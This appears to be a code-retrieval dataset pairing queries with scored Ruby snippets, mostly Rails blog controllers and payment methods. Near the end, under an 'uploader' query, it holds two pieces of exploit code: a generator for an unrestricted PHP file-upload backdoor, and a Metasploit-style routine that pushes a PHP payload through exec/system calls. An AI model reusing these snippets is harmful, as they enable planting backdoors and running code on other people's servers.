"text": "def amount_shares_outstanding_payment\n @amount_shares_paid_for = 0\n\n subscription_payments.each do |sp|\n if sp.paid?\n @amount_shares_paid_for += sp.share_amount\n end\n end\n\n (total_copies - @amount_shares_paid_for).to_i\n end",
"title": ""
},
{
"docid": "19c405d745a5aea98e922c23ea48730b",
"score": "0.65476644",
"text": "def transaction_total_price\n hash[\"TransactionTotalPrice\"]\n end",
"title": ""
},
{
"docid": "98a6601499e5655086e5994b89de0bab",
"score": "0.6538861",
"text": "def payment_amount\n (payment.payment_type == Payment::PAYMENT_TYPE_MEMBER ? self.class.membership_fee_amount : self.class.branding_license_fee_amount) / 100\n end",
"title": ""
},
{
"docid": "719a95d9896664d9fd1d0a6c5db48cb7",
"score": "0.65271467",
"text": "def amount\n return subscription.plan.amount if stripe_invoice_id.nil?\n\n stripe_invoice.amount_due / 100.0\n end",
"title": ""
},
{
"docid": "86faa48e80808d4bf901869ce60c620e",
"score": "0.6522222",
"text": "def calculate_total_money_spent\n return @trips.inject(0.0) { |sum, trip|\n trip.is_in_progress? ? sum + 0 : sum + trip.cost }\n end",
"title": ""
},
{
"docid": "ef6e9232db15aa54d33da3eba12b1482",
"score": "0.6511579",
"text": "def total_in(currency)\n Money.new(total_price_cents, \"USD\").exchange_to(currency)\n end",
"title": ""
},
{
"docid": "5f84111fa955754c7a0a8e80ee67e2b0",
"score": "0.65084255",
"text": "def total_price\n \tresult = 0;\n \titems = self.temp_order_items\n\n \titems.each do |item|\n \t\tresult += item.price\n \tend\n \treturn result\n end",
"title": ""
}
] |
6c195bdb232ce65e1535abe59b1dbfe8 | GET /office/blogs/1 GET /office/blogs/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "c520af8971f74f723ce2eae068384784",
"score": "0.76161563",
"text": "def blogs\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end",
"title": ""
},
{
"docid": "07f973645e0e4ed1d926b804ac1f3cb6",
"score": "0.75203806",
"text": "def index\n @blogs = Blog.all\n render json: @blogs\n end",
"title": ""
},
{
"docid": "5dea84b18dd26997d80ed5abe57af1ba",
"score": "0.75087535",
"text": "def index\n @blogs = Blog.all\n\n render json: @blogs\n end",
"title": ""
},
{
"docid": "1d0439fac40ac935f4e67fbc0a52c313",
"score": "0.7408575",
"text": "def index\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"title": ""
},
{
"docid": "1d0439fac40ac935f4e67fbc0a52c313",
"score": "0.7408575",
"text": "def index\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"title": ""
},
{
"docid": "0ca84319962be8c103ef7a24687827bd",
"score": "0.73154664",
"text": "def index\n @admin_blogs = Admin::Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_blogs }\n end\n end",
"title": ""
},
{
"docid": "21c6df56bd37b05c40616d92fb76887f",
"score": "0.7267033",
"text": "def index\n @user_blogs = UserBlog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_blogs }\n end\n end",
"title": ""
},
{
"docid": "559ee1db6cf090aa80df64aec524f8e5",
"score": "0.72350806",
"text": "def index\n @blogs = Blog.scoped.page(params[:page]).per(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"title": ""
},
{
"docid": "868de72bb0e66de2ca6bcebe56bd02d9",
"score": "0.7027751",
"text": "def index\n @office_blogs = Office::Blog.all\n end",
"title": ""
},
{
"docid": "64ff8c4255f878032e3e192afa2fc8ad",
"score": "0.69366974",
"text": "def blogs\n get(get_all_sites_uri)\n end",
"title": ""
},
{
"docid": "ec9598615e774718b58914994e5942de",
"score": "0.69341546",
"text": "def show\n @blog = Blog.find_by_url(params[:id])\n if @blog.nil?\n @blog = Blog.find_by_id(params[:id])\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog }\n end\n end",
"title": ""
},
{
"docid": "f8219038fdc2427da90a0837ff091a22",
"score": "0.6900623",
"text": "def index\n @blogs = @current_user.blogs\n end",
"title": ""
},
{
"docid": "57181fd9c1a7afd9aca72f7955ae9ec8",
"score": "0.6845918",
"text": "def index\n @blogs = Blog.all\n end",
"title": ""
},
{
"docid": "57181fd9c1a7afd9aca72f7955ae9ec8",
"score": "0.6845918",
"text": "def index\n @blogs = Blog.all\n end",
"title": ""
},
{
"docid": "b4e660ab82c4f8773096d773df540160",
"score": "0.6844436",
"text": "def index\n render json: Blog.all\n end",
"title": ""
},
{
"docid": "1ba8fea01659d58849e16f063cb16887",
"score": "0.6843543",
"text": "def show\n @blog_url = BlogUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog_url }\n end\n end",
"title": ""
},
{
"docid": "38eea8149bdb06685e1b36fd0fecff0f",
"score": "0.68275803",
"text": "def show\n @blog = Blog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog }\n end\n end",
"title": ""
},
{
"docid": "38eea8149bdb06685e1b36fd0fecff0f",
"score": "0.68275803",
"text": "def show\n @blog = Blog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog }\n end\n end",
"title": ""
},
{
"docid": "df51c3911da0d8fcaf5f0200f2875fde",
"score": "0.68017393",
"text": "def show\n @blogs = Blog.all\n end",
"title": ""
},
{
"docid": "6b0803391be6adeee4d452c1b6c41b87",
"score": "0.6795105",
"text": "def index\n @bloggers = Blogger.all\n blogs = []\n @bloggers.each do |x|\n blog = {\n id: x.id,\n tite: x.title,\n author: x.author,\n paragraphs: x.paragraphs.collect { |x| x.data },\n created_at: x.created_at\n }\n blogs << blog\n end\n paginate json: blogs, per_page: 5\n end",
"title": ""
},
{
"docid": "68ce4f4124e2fd547552ab237e4c1895",
"score": "0.67838097",
"text": "def index\n @bs_blogs = BsBlog.all\n end",
"title": ""
},
{
"docid": "3f9367603ebdfaa8a5c7d841601e0e8f",
"score": "0.6761071",
"text": "def show\n @myblog = Myblog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myblog }\n end\n end",
"title": ""
},
{
"docid": "3f9367603ebdfaa8a5c7d841601e0e8f",
"score": "0.6761071",
"text": "def show\n @myblog = Myblog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myblog }\n end\n end",
"title": ""
},
{
"docid": "4a33c75ad2bbef704cffbd4e789fa428",
"score": "0.6751124",
"text": "def index\n @blogs = current_user.blogs\n end",
"title": ""
},
{
"docid": "8429083eed711720f2eed5501ae9496f",
"score": "0.67350966",
"text": "def index\n @blogposts = Blogpost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogposts }\n end\n end",
"title": ""
},
{
"docid": "e7250b4deb7c0a7fa58f9b536fba2ba5",
"score": "0.67349726",
"text": "def index\n\t\t@blogs = Blog.as_created.paginate(page: (params[:page] || 1), per_page: 20)\n\tend",
"title": ""
},
{
"docid": "680d613358fdfe230c140a96bab98eb7",
"score": "0.6734214",
"text": "def index\n @kevin_blogs = KevinBlog.all\n @categories = Admin::Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kevin_blogs }\n end\n end",
"title": ""
},
{
"docid": "5c5b93ccdbf53dd8fe12766d156776bd",
"score": "0.6734209",
"text": "def index\n @my_blogs = MyBlog.all\n end",
"title": ""
},
{
"docid": "486810e63d02d5a14b60dc34b983805f",
"score": "0.6673707",
"text": "def index\n @blogs = Blog.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blogs }\n end\n end",
"title": ""
},
{
"docid": "bcd197418417f74350faaf58b15e279d",
"score": "0.6673628",
"text": "def index\n @blogs = Blog.all\n\n if user_signed_in?\n visited = Visit.new(ip_address: request.remote_ip, :what => \"blogs\", :user_id => current_user.id)\n visited.save\n else\n visited = Visit.new(ip_address: request.remote_ip, :what => \"blogs\")\n visited.save\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"title": ""
},
{
"docid": "68429bb4f7b0c358fafca890af7e2a10",
"score": "0.6667706",
"text": "def show\n @c_blog = CBlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_blog }\n end\n end",
"title": ""
},
{
"docid": "30547371a231dad312cc649d34a747be",
"score": "0.66487056",
"text": "def show\n @admin_blog = Admin::Blog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_blog }\n end\n end",
"title": ""
},
{
"docid": "0e83176e4038867a3e97f26cf9eb59ed",
"score": "0.6645228",
"text": "def show\n @user_blog = UserBlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_blog }\n end\n end",
"title": ""
},
{
"docid": "0233e0cbb25538c3493a9566be222344",
"score": "0.6625012",
"text": "def index\n @myblogs = Myblog.all\n end",
"title": ""
},
{
"docid": "b2a1139696c89432cda9841b2a4c92a1",
"score": "0.6622234",
"text": "def show\n @blog_post = BlogPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog_post }\n end\n end",
"title": ""
},
{
"docid": "079cd43cb6c376aff168e84c73375f51",
"score": "0.6601252",
"text": "def index\n @blogs = Blog.where(visible:true).paginate(page: params[:page], per_page: 8)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blogs }\n end\n end",
"title": ""
},
{
"docid": "9b14dc38ae478b921ee0da0fcb7414a5",
"score": "0.65908104",
"text": "def index\n @user_blogs = UserBlog.all\n end",
"title": ""
},
{
"docid": "8418f3712a596d3d247af5aa7f3ed7bc",
"score": "0.6579115",
"text": "def show\n @blogcr = Blogcr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogcr }\n end\n end",
"title": ""
},
{
"docid": "8273d70177f7c04940ce140bfb5ec6bf",
"score": "0.6577334",
"text": "def index\n @blogs = Blog.find(:all)\n render :action => \"index\"\n end",
"title": ""
},
{
"docid": "fd787dd9d67722e8d2750956abf5dab8",
"score": "0.6577152",
"text": "def show\n @blogpost = Blogpost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"title": ""
},
{
"docid": "e211f1807b9db23581214cd1cc7bb8d5",
"score": "0.65743816",
"text": "def show\n @blog_post = BlogPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @blog_post }\n end\n end",
"title": ""
},
{
"docid": "ca6a7f2bbe5cc9eb2c8055334122862f",
"score": "0.65529233",
"text": "def show\n @blog = Blog.find(params[:id])\n @blog_comment = BlogComment.new\n @blog_comments = BlogComment.find_all_by_blog_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog }\n end\n end",
"title": ""
},
{
"docid": "74a4ae9b9818a5e3fcbd9fc061e05833",
"score": "0.6546671",
"text": "def show\n @blogpost = Blogpost.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"title": ""
},
{
"docid": "e377829699c98af4e0e9a7e6d5d9ebe5",
"score": "0.6531714",
"text": "def index\n @moto_blogs = MotoBlog.all\n end",
"title": ""
},
{
"docid": "73fca5184a28cf8b6726148cbd80dbe3",
"score": "0.6531165",
"text": "def index\n @running_blogs = RunningBlog.all\n end",
"title": ""
},
{
"docid": "7f76e5bce426a88dc8a807e30ce43eb7",
"score": "0.65157014",
"text": "def show\n @blog = EntryFeed.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @blog }\n end\n end",
"title": ""
},
{
"docid": "bd264f8011b417a67f45a3c18e702dac",
"score": "0.6510049",
"text": "def show\n @blog_post = @current_user.blogs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @blog_post }\n end\n end",
"title": ""
},
{
"docid": "f3c11a4a7f33c092989fdc254414f546",
"score": "0.648241",
"text": "def blogs(options = { results: 1 })\n response = get_response(results: options[:results], name: @name)\n\n response[:blogs].collect do |b|\n Blog.new(name: b[:name], site: b[:site], url: b[:url])\n end\n end",
"title": ""
},
{
"docid": "10b2e4db52dee4232c38bd56caead509",
"score": "0.6476979",
"text": "def index\n @second_blogs = SecondBlog.all\n end",
"title": ""
},
{
"docid": "b0be483a58fc2b982301715b50c4ba86",
"score": "0.64499086",
"text": "def index\n @harsha_blogs = HarshaBlog.all\n end",
"title": ""
},
{
"docid": "847dd3a102b4fef13f6285039bc98577",
"score": "0.6442851",
"text": "def index\n @photo_blogs = PhotoBlog.all\n end",
"title": ""
},
{
"docid": "6578efb565b6cc48182e0a64a215a981",
"score": "0.6432905",
"text": "def index\n #binding.pry\n #@blogs = Blog.new_first\n @blogs = Blog.new_first.page(params[:page]).per(5)\n #byebug\n #@blogs = Blog.featured_blogs\n #binding.pry\n @page_title = \"Blogs\"\n end",
"title": ""
},
{
"docid": "d2096fd7b76e188cece23d538f96ac3b",
"score": "0.64294267",
"text": "def index\n @homework_blogs = HomeworkBlog.all\n end",
"title": ""
},
{
"docid": "7ea8fb6b2748d167260aee5df2938ec3",
"score": "0.64073986",
"text": "def get_blog\n begin\n @blog = Blog.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to(blogs_path(:page => params[:page]), :error => t(\"blog.not_exist\"))\n end\n end",
"title": ""
},
{
"docid": "462cc879c064af0f581d31eb2d8d746e",
"score": "0.64071",
"text": "def index\n @watercolor_blogs = WatercolorBlog.all\n end",
"title": ""
},
{
"docid": "3f636bad34090345175bb07aaf363e10",
"score": "0.64005846",
"text": "def index\n @siteblogs = Siteblog.all\n end",
"title": ""
},
{
"docid": "be66af5c835338949f3818f12c5f7351",
"score": "0.639098",
"text": "def index\n @mini_blogs = MiniBlog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mini_blogs }\n end\n end",
"title": ""
},
{
"docid": "7f07bd694e477a65b4fd1933e9876f4c",
"score": "0.63901085",
"text": "def json_ld_blogs_paginator(blogs)\n {\n '@id': request.original_url,\n '@type': 'Page',\n firstPage: blogs_path(page: 1),\n previousPage: path_to_prev_page(blogs),\n nextPage: path_to_next_page(blogs),\n lastPage: blogs_path(page: blogs.total_pages)\n }.to_json.html_safe\n end",
"title": ""
},
{
"docid": "a66afc0955592a5b4d60faf3e62a61e4",
"score": "0.63561213",
"text": "def show\n @blog = Blog.find(params[:id])\n @posts = @blog.posts\n end",
"title": ""
},
{
"docid": "8c8fdc2dd0366a86eee9f31496e322fb",
"score": "0.6349935",
"text": "def index\n # find the blog for the id provided\n@blog = Blog.find(params[:blog_id])\n# Get all the posts associated with this blog\n@posts = @blog.posts \n end",
"title": ""
},
{
"docid": "8bff9e2924b81c7a65c7c022434f121d",
"score": "0.6338384",
"text": "def index\n @blog_details = BlogDetail.all\n end",
"title": ""
},
{
"docid": "d8bab584f6dde1da80d3e3bd61ff4b55",
"score": "0.6332554",
"text": "def show\n @blog = Blog.find(params[:id])\n end",
"title": ""
},
{
"docid": "5b7ddc81bde448e72cef384ee01917cd",
"score": "0.63104385",
"text": "def received_blogs\n shared_blogs = current_user.shared_blogs\n get_blogs(shared_blogs)\n end",
"title": ""
},
{
"docid": "a6ea5bccd1f346babfc59276ef1f09f2",
"score": "0.6306565",
"text": "def index\n if params[:whose]\n @rblogs = Rblog.my_blogs(params[:whose])\n if params[:private]\n @rblogs = @rblogs.my_private_blogs(params[:whose])\n else\n @rblogs = @rblogs.my_shared_blogs(params[:whose])\n end\n else\n @rblogs = Rblog.shared\n end\n @rblogs = @rblogs.paginate(page: params[:page], per_page: 10)\n # if request.xhr?\n # sleep(1)\n # render :partial => @rblogs\n # end\n end",
"title": ""
},
{
"docid": "24aa73f84297f82b706a941a12313767",
"score": "0.6303767",
"text": "def index\n @blogs = Blog.all.page(params[:page]).per(5)\n \n end",
"title": ""
},
{
"docid": "b6540b46e547cbef2c2cc203b4060a2c",
"score": "0.62841845",
"text": "def index\n @blog1s = Blog1.all\n end",
"title": ""
},
{
"docid": "72af8182c7d6d490a29f855cf86fbe16",
"score": "0.62528145",
"text": "def application\n @blogs=Blog.all\n end",
"title": ""
},
{
"docid": "58b64f5b66c69f6358f710c84e5b065c",
"score": "0.625125",
"text": "def show\n\t@blog = Blog.find(params[:id])\n end",
"title": ""
},
{
"docid": "9674e793de5494ecf073722f1419d409",
"score": "0.6239237",
"text": "def index\n @tag_blogs = TagBlog.all\n end",
"title": ""
},
{
"docid": "e6e2683b532e2f0a2ea16694a2617144",
"score": "0.623398",
"text": "def all_blogs\n\t\t@blogs = Blog.all.order(\"created_at DESC\")\n\tend",
"title": ""
},
{
"docid": "b01816edb1b4267b28bcf33c61b1ab1b",
"score": "0.6218809",
"text": "def fetch_blogs (size = Globals::DEFAULT_BLOGS_FETCHED)\n @view_state[:blogs] = get_leaves_for_current('blog', 'page', size)\n end",
"title": ""
},
{
"docid": "3aac7f9c4c0af2fac4ae99ca7b28d3bf",
"score": "0.621251",
"text": "def index\n @testblogs = Testblog.all\n end",
"title": ""
},
{
"docid": "e8dfb2ea357bb68994cf1143c4708c92",
"score": "0.62010294",
"text": "def new\n @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog }\n end\n end",
"title": ""
},
{
"docid": "e8dfb2ea357bb68994cf1143c4708c92",
"score": "0.62010294",
"text": "def new\n @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog }\n end\n end",
"title": ""
},
{
"docid": "a6af7fe9f82716f27d697d9b861713ca",
"score": "0.61981606",
"text": "def get_blog\n begin\n @blog = Blog.find(params[:blog_id])\n rescue ActiveRecord::RecordNotFound\n redirect_to(blogs_path(:page => params[:page]), :error => t(\"post.not_exist\"))\n end\n end",
"title": ""
},
{
"docid": "fc39c54c32671ae1767c960ce2ba9e8e",
"score": "0.6192705",
"text": "def show\n render json: { blog: @blog, comments: @blog.comments }\n end",
"title": ""
},
{
"docid": "5d342b64150a2008b5c879ecc36c6b20",
"score": "0.6188015",
"text": "def new\n @myblog = Myblog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myblog }\n end\n end",
"title": ""
},
{
"docid": "5d342b64150a2008b5c879ecc36c6b20",
"score": "0.6188015",
"text": "def new\n @myblog = Myblog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myblog }\n end\n end",
"title": ""
},
{
"docid": "e9a2503498520772cf68cfca0e8af797",
"score": "0.61874086",
"text": "def index\n @blog_urls = BlogUrl.all\n end",
"title": ""
},
{
"docid": "76536b36dab1561fb719ea70584140ac",
"score": "0.6178215",
"text": "def index\n @blog_links = BlogLink.all\n end",
"title": ""
},
{
"docid": "930261a11cb137ad52f9a61cfdcd009b",
"score": "0.61701167",
"text": "def show\r\n @blogs = Blog.find(:all, :conditions => { :is_indexed => true, :is_complete => true }, :order => \"created_at DESC\")\r\n @blog = Blog.find(:first, :conditions => [\"id = ? OR url_identifier = ?\", params[:id], params[:id]])\r\n\r\n\t\tif !@blog || (!@blog.is_complete && !blog_writer?)\r\n\t\t\tflash[:error] = \"You do not have permission to see this blog.\"\r\n\t\t\treturn (redirect_to( :action => 'index' ))\r\n\t\telse\r\n\t\t\tset_page_title(@blog.title)\r\n\t\tend\r\n\t\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @blog }\r\n end\r\n end",
"title": ""
},
{
"docid": "402f11b004c76ee01d2ecb31941c6f95",
"score": "0.61627334",
"text": "def users_blog_index\n @blogs = current_user.blogs.page(params[:page]).per(5).most_recent # gets the current users blog posts in descending order and paginating the results to 5 per page\n end",
"title": ""
},
{
"docid": "291118c640257ee406367481ad0cd3a5",
"score": "0.61613894",
"text": "def new\n @blogger = Blogger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blogger }\n end\n end",
"title": ""
},
{
"docid": "54a2fc4f4e8704124757b408b1e8b286",
"score": "0.61565965",
"text": "def blog(which_blog)\n blog_object\n end",
"title": ""
},
{
"docid": "92bba92bacfb57887075c7390ebcca57",
"score": "0.6144365",
"text": "def show\n @blogger = Blogger.find(params[:id])\n end",
"title": ""
},
{
"docid": "8f8f9ead3fabf31e6896606febdc21ce",
"score": "0.61397463",
"text": "def index\n @blogs = Blog.published.paginate(:page => params[:page]).order('id DESC')\n end",
"title": ""
},
{
"docid": "a8907f1249aa47c538a4f62226c89161",
"score": "0.6130045",
"text": "def new\n @blog_url = BlogUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog_url }\n end\n end",
"title": ""
},
{
"docid": "3508706232734ab046d98e2b608856b2",
"score": "0.61217725",
"text": "def index\n if current_user && current_user.admin\n @blogs = Blog.all\n else\n @blogs = Blog.where(published: true)\n end\n end",
"title": ""
},
{
"docid": "8a423e92b91ba584d441f8413dbca259",
"score": "0.6118066",
"text": "def show\n @kevin_blog = KevinBlog.find(params[:id])\n @comment = @kevin_blog.comments\n @categories = Admin::Category.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kevin_blog }\n end\n end",
"title": ""
},
{
"docid": "6161a9b85f9ccf5238f1d78ea61d0214",
"score": "0.6114382",
"text": "def new\n @admin_blog = Admin::Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_blog }\n end\n end",
"title": ""
},
{
"docid": "22a404245ce5a6b8801a915d3cd7a937",
"score": "0.6113237",
"text": "def index\n #@comments = Comment.all\n comments = @blog.comments\n render json: comments, status: :ok\n end",
"title": ""
},
{
"docid": "12200e2b1f9e25f2de828081dc70fb7a",
"score": "0.61124855",
"text": "def index\n @entrada_blogs = EntradaBlog.all\n end",
"title": ""
},
{
"docid": "07bc96037fa6017eac043c481dad657b",
"score": "0.60947037",
"text": "def new\n # @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @blog }\n end\n end",
"title": ""
},
{
"docid": "62c3b384a93b3f256b393e6ef3f62dd2",
"score": "0.606844",
"text": "def index\n \n fancygrid_for :blogs do |grid|\n grid.hidden :id, :user_id\n grid.attributes :title, :description\n grid.rendered :actions\n grid.url = user_blogs_path(scoped_user)\n grid.find do |query|\n query.conditions [\"blogs.user_id = ?\", scoped_user]\n query.select \"*\"\n end\n end\n \n end",
"title": ""
},
{
"docid": "957a3285aa57e68f133751008c83db3f",
"score": "0.6068224",
"text": "def new\n @user_blog = UserBlog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_blog }\n end\n end",
"title": ""
},
{
"docid": "892471c266946a96d2908c4112541a47",
"score": "0.60642153",
"text": "def index\n @blogers = Bloger.all\n end",
"title": ""
},
{
"docid": "8d4c065b4b61d1c9f4662a134b99dbff",
"score": "0.6061774",
"text": "def index\n @pages = Page.find(:all, :order => 'updated_at DESC', :limit => 5)\n @blogs = Blog.all\n end",
"title": ""
},
{
"docid": "21104e25b2557f108134cbc88da8ec63",
"score": "0.6050009",
"text": "def blog_info(blog_name)\n get(\"v2/blog/#{blog_name}/info\", {:api_key => Tumblr::consumer_key})\n end",
"title": ""
},
{
"docid": "c4fc9f510dfff87295ce39f99f7d7903",
"score": "0.6049202",
"text": "def index\n @user_blogs = UserBlog.all.order(created_at: :desc).paginate(:page => params[:page], :per_page => 3)\n end",
"title": ""
},
{
"docid": "9a490868a9e4d2315f661e5bfba8b38e",
"score": "0.6041156",
"text": "def index\n @blogs = Blog.where(active: true).order(created_at: :desc)\n end",
"title": ""
},
{
"docid": "ff823770b13bb3feed8517f584eaada2",
"score": "0.6036472",
"text": "def new\n @blog_post = BlogPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog_post }\n end\n end",
"title": ""
}
] |
e2fbe0f26f13fc6348dea89730dd8f8b | TODO: use Knife libs as a plugin instead of shelling out A simple uploader would be something like this (unused) | [
{
"docid": "cfa17ef35966df2a013d0bf500b56dcc",
"score": "0.0",
"text": "def upload_cookbook(c)\n Chef::CookbookUploader.new(c, \"#{@work_dir}/cookbooks\").upload_cookbook\n end",
"title": ""
}
] | [
{
"docid": "f5df94d4d910b5f005c075202c3bfa89",
"score": "0.8017955",
"text": "def uploader; end",
"title": ""
},
{
"docid": "f5df94d4d910b5f005c075202c3bfa89",
"score": "0.8017955",
"text": "def uploader; end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.7104761",
"text": "def upload\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.7104761",
"text": "def upload\n end",
"title": ""
},
{
"docid": "0328821fd1aca9e211ec3994cf139562",
"score": "0.7034424",
"text": "def upload\n run_uploads\n end",
"title": ""
},
{
"docid": "4d494465d27f7739a29eec5c869317af",
"score": "0.7015437",
"text": "def ingenuity_upload\n end",
"title": ""
},
{
"docid": "234e69554bf4f0bcee6bb07174939a49",
"score": "0.6887533",
"text": "def upload(filename)\n end",
"title": ""
},
{
"docid": "8b263bb1b3f088f04bb1e355d0963b72",
"score": "0.6727141",
"text": "def uploads_base; end",
"title": ""
},
{
"docid": "46a49fbfdffc8913489956f88d00faf4",
"score": "0.66849107",
"text": "def uploads(*name) end",
"title": ""
},
{
"docid": "af1b70604509907e4b32facf2157b1ea",
"score": "0.6648023",
"text": "def auto_upload\n return upload\n end",
"title": ""
},
{
"docid": "2042f5d3626128fb4a05784967ebefc9",
"score": "0.6537176",
"text": "def uploaded\n # NO OP\n end",
"title": ""
},
{
"docid": "c20872d5837bf99b6c500c73c0b04e26",
"score": "0.6524981",
"text": "def php_uploader\n fname=randz(9) + '.php'\n php_code = '<html><body><form method=\"post\" action=\"\" enctype=\"multipart/form-data\" ><label for=\"file\">Filename:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><input type=\"submit\" name=\"submit\" value=\"Submit\" /></form></body></html><?php if(isset($_POST[\\'submit\\'])) { if ($_FILES[\"file\"][\"error\"] > 0) { echo \"Error: \" . $_FILES[\"file\"][\"error\"] . \"<br />\"; } else { echo \"Upload: \" . $_FILES[\"file\"][\"name\"] . \"<br />\"; echo \"Type: \" . $_FILES[\"file\"][\"type\"] . \"<br />\"; echo \"Size: \" . ($_FILES[\"file\"][\"size\"] / 1024) . \" Kb<br />\"; echo \"Temp Storage: \" . $_FILES[\"file\"][\"tmp_name\"]; move_uploaded_file($_FILES[\"file\"][\"tmp_name\"],$_FILES[\"file\"][\"name\"]); echo \"<br />Moved to: \" . getcwd() . \\'/\\' . $_FILES[\"file\"][\"name\"]; } } ?>'\n return fname, php_code\n end",
"title": ""
},
{
"docid": "52d5eec98b50cd79264f317d15a77237",
"score": "0.6465",
"text": "def upload_file(file)\r\n # Declaring\r\n uploader = FileUploader.new\r\n # Upload it\r\n uploader.store!(file)\r\n\r\n return uploader.url\r\nend",
"title": ""
},
{
"docid": "37b3a6bee14eddcb006ff7b71cb9a6ee",
"score": "0.64395374",
"text": "def php_uploader_v2\n fname=randz(9) + '.php'\n php_code = '<html><body><form method=\"post\" action=\"\" enctype=\"multipart/form-data\" ><label for=\"file\">Select File to Upload:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><label for=\"path\">Full Path w/Filename to Save Upload as:</label><input type=\"text\" name=\"path\" id=\"path\" /><br /><input type=\"submit\" name=\"submit\" value=\"Submit\" /></form></body></html><?php if(isset($_POST[\\'submit\\'])) { if ($_FILES[\"file\"][\"error\"] > 0) { echo \"Error: \" . $_FILES[\"file\"][\"error\"] . \"<br />\"; } else { echo \"Upload: \" . $_FILES[\"file\"][\"name\"] . \"<br />\"; echo \"Type: \" . $_FILES[\"file\"][\"type\"] . \"<br />\"; echo \"Size: \" . ($_FILES[\"file\"][\"size\"] / 1024) . \" Kb<br />\"; echo \"Temp Storage: \" . $_FILES[\"file\"][\"tmp_name\"]; move_uploaded_file($_FILES[\"file\"][\"tmp_name\"],$_POST[\\'path\\']); echo \"<br />Moved to: \" . $_POST[\\'path\\']; } } ?>'\n return fname, php_code\n end",
"title": ""
},
{
"docid": "dd760be8147cc669b8aa14bd8f8572fd",
"score": "0.64118963",
"text": "def upload\r\n # Random PHP function for command execution\r\n php_function = [\r\n 'exec',\r\n 'shell_exec',\r\n 'passthru',\r\n 'system'\r\n ].sample\r\n\r\n # upload payload\r\n code = \"<?php #{payload.encoded} ?>\"\r\n print_status(\"#{peer} - Sending payload '#{@fname}' (#{code.length} bytes)\")\r\n begin\r\n res = execute_command(\"echo \\\"#{code}\\\">#{@fname}\", { :php_function => php_function } )\r\n if res and res.code == 200\r\n print_good(\"#{peer} - Payload sent successfully\")\r\n register_files_for_cleanup(@fname)\r\n else\r\n fail_with(Failure::UnexpectedReply, \"#{peer} - Sending payload failed\")\r\n end\r\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE\r\n fail_with(Failure::Unreachable, \"#{peer} - Connection failed\")\r\n end\r\n end",
"title": ""
},
{
"docid": "24d816bf43254029f5d02447c2d0ffbd",
"score": "0.63858104",
"text": "def upload_manifest; end",
"title": ""
},
{
"docid": "bd4ff60a97be0ed0911215ef9414719d",
"score": "0.63405377",
"text": "def uploaded_file(object, &block)\n shrine_class.uploaded_file(object, &block)\n end",
"title": ""
},
{
"docid": "7bff8259cdaac073e67fa9fcbaaf5f73",
"score": "0.6337799",
